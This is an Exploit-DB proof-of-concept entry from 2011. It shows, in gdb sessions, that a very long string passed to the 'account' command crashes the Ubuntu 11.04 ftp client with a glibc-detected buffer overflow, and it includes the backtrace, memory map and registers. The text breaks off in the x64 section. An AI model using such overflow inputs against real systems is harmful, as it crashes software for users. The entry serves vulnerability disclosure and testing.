Exploit-DB #17806
Description: FTP Client (Ubuntu 11.04) - Local Buffer Overflow Crash (PoC)
Type: dos
Platform: linux
Date: 2011-09-08
Author: localh0t

Exploit:
Ubuntu 11 (and below) ftp client seems to crash when passing large arguments to the "account" command, while a connection is made to any ftp server. Example:

Ubuntu 11.04 x86:
=================

(gdb) run 10.0.0.8
Starting program: /usr/bin/ftp 10.0.0.8
Connected to 10.0.0.8.
220 debianita FTP server ready.
Name (10.0.0.8:kron0): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230-Welcome, archive user ftp@10.0.0.9 !
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> account AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** buffer overflow detected ***: /usr/bin/ftp terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x50)[0x27fdf0]
/lib/i386-linux-gnu/libc.so.6(+0xe4cca)[0x27ecca]
/lib/i386-linux-gnu/libc.so.6(+0xe41ed)[0x27e1ed]
/usr/bin/ftp[0x804b5e2]
/usr/bin/ftp[0x8055ead]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xe7)[0x1b0e37]
/usr/bin/ftp[0x8049d61]
======= Memory map: ========
00[PII_REDACTED]c000 r-xp 00000000 08:01 525108     /lib/i386-linux-gnu/ld-2.13.so
0012c000-0012d000 r--p 0001b000 08:01 525108     /lib/i386-linux-gnu/ld-2.13.so
0012d000-0012e000 rw-p 0001c000 08:01 525108     /lib/i386-linux-gnu/ld-2.13.so
0012e000-0012f000 r-xp 00000000 00:00 0          [vdso]
0012f000-0015d000 r-xp 00000000 08:01 524378     /lib/libreadline.so.6.2
0015d000-0015e000 r--p 0002e000 08:01 524378     /lib/libreadline.so.6.2
0015e[PII_REDACTED]0 rw-p 0002f000 08:01 524378     /lib/libreadline.so.6.2
[PII_REDACTED] rw-p 00000000 00:00 0
[PII_REDACTED] r-xp 00000000 08:01 524347     /lib/libncurses.so.5.7
[PII_REDACTED] ---p 00034000 08:01 524347     /lib/libncurses.so.5.7
[PII_REDACTED] r--p 00034000 08:01 524347     /lib/libncurses.so.5.7
00[PII_REDACTED]a000 rw-p 00036000 08:01 524347     /lib/libncurses.so.5.7
0019a000-002f4000 r-xp 00000000 08:01 525121     /lib/i386-linux-gnu/libc-2.13.so
002f4000-002f5000 ---p 0015a000 08:01 525121     /lib/i386-linux-gnu/libc-2.13.so
002f5000-002f7000 r--p 0015a000 08:01 525121     /lib/i386-linux-gnu/libc-2.13.so
002f7000-002f8000 rw-p 0015c000 08:01 525121     /lib/i386-linux-gnu/libc-2.13.so
002f8000-002fb000 rw-p 00000000 00:00 0
002fb000-002fd000 r-xp 00000000 08:01 525131     /lib/i386-linux-gnu/libdl-2.13.so
002fd000-002fe000 r--p 00001000 08:01 525131     /lib/i386-linux-gnu/libdl-2.13.so
002fe000-002ff000 rw-p 00002000 08:01 525131     /lib/i386-linux-gnu/libdl-2.13.so
002ff[PII_REDACTED]0 r-xp 00000000 08:01 525167     /lib/i386-linux-gnu/libnss_files-2.13.so
00[PII_REDACTED]a000 r--p 00009000 08:01 525167     /lib/i386-linux-gnu/libnss_files-2.13.so
0030a000-0030b000 rw-p 0000a000 08:01 525167     /lib/i386-linux-gnu/libnss_files-2.13.so
0030b[PII_REDACTED]0 r-xp 00000000 08:01 525163     /lib/i386-linux-gnu/libnss_compat-2.13.so
[PII_REDACTED] r--p 00005000 08:01 525163     /lib/i386-linux-gnu/libnss_compat-2.13.so
[PII_REDACTED] rw-p 00006000 08:01 525163     /lib/i386-linux-gnu/libnss_compat-2.13.so
[PII_REDACTED] r-xp 00000000 08:01 525161     /lib/i386-linux-gnu/libnsl-2.13.so
[PII_REDACTED] r--p 00012000 08:01 525161     /lib/i386-linux-gnu/libnsl-2.13.so
[PII_REDACTED] rw-p 00013000 08:01 525161     /lib/i386-linux-gnu/libnsl-2.13.so
00[PII_REDACTED]a000 rw-p 00000000 00:00 0
0032a[PII_REDACTED]0 r-xp 00000000 08:01 525171     /lib/i386-linux-gnu/libnss_nis-2.13.so
[PII_REDACTED] r--p 00008000 08:01 525171     /lib/i386-linux-gnu/libnss_nis-2.13.so
[PII_REDACTED] rw-p 00009000 08:01 525171     /lib/i386-linux-gnu/libnss_nis-2.13.so
00[PII_REDACTED]f000 r-xp 00000000 08:01 525149     /lib/i386-linux-gnu/libgcc_s.so.1
0034f[PII_REDACTED]0 r--p 00019000 08:01 525149     /lib/i386-linux-gnu/libgcc_s.so.1
[PII_REDACTED] rw-p 0001a000 08:01 525149     /lib/i386-linux-gnu/libgcc_s.so.1
[PII_REDACTED] r-xp 00000000 08:01 1573707    /usr/bin/netkit-ftp
08[PII_REDACTED]a000 r--p 00011000 08:01 1573707    /usr/bin/netkit-ftp
0805a000-0805b000 rw-p 00012000 08:01 1573707    /usr/bin/netkit-ftp
0805b000-080ab000 rw-p 00000000 00:00 0          [heap]
b7dee000-b7fee000 r--p 00000000 08:01 1581098    /usr/lib/locale/locale-archive
b7fee000-b7ff0000 rw-p 00000000 00:00 0
b7ff9000-b7ffa000 r--p 002a1000 08:01 1581098    /usr/lib/locale/locale-archive
b7ffa000-b8000000 rw-p 00000000 00:00 0
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]

Program received signal SIGABRT, Aborted.
0x0012e416 in __kernel_vsyscall ()
(gdb) i r
eax            0x0    0
ecx            0xc8e    3214
edx            0x6    6
ebx            0xc8e    3214
esp            0xbfffdde4    0xbfffdde4
ebp            0xbfffddf0    0xbfffddf0
esi            0x0    0
edi            0x2f6ff4    3108852
eip            0x12e416    0x12e416 <__kernel_vsyscall+2>
eflags         0x246    [ PF ZF IF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb)

============================================================================================================================================================

Ubuntu 11.04 x64 and Backtrack 5 R1 (which is based in Ubuntu) crash, too:
==========================================================================

Ubuntu 11.04 x64:
=================

$ gdb /usr/bin/ftp
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warr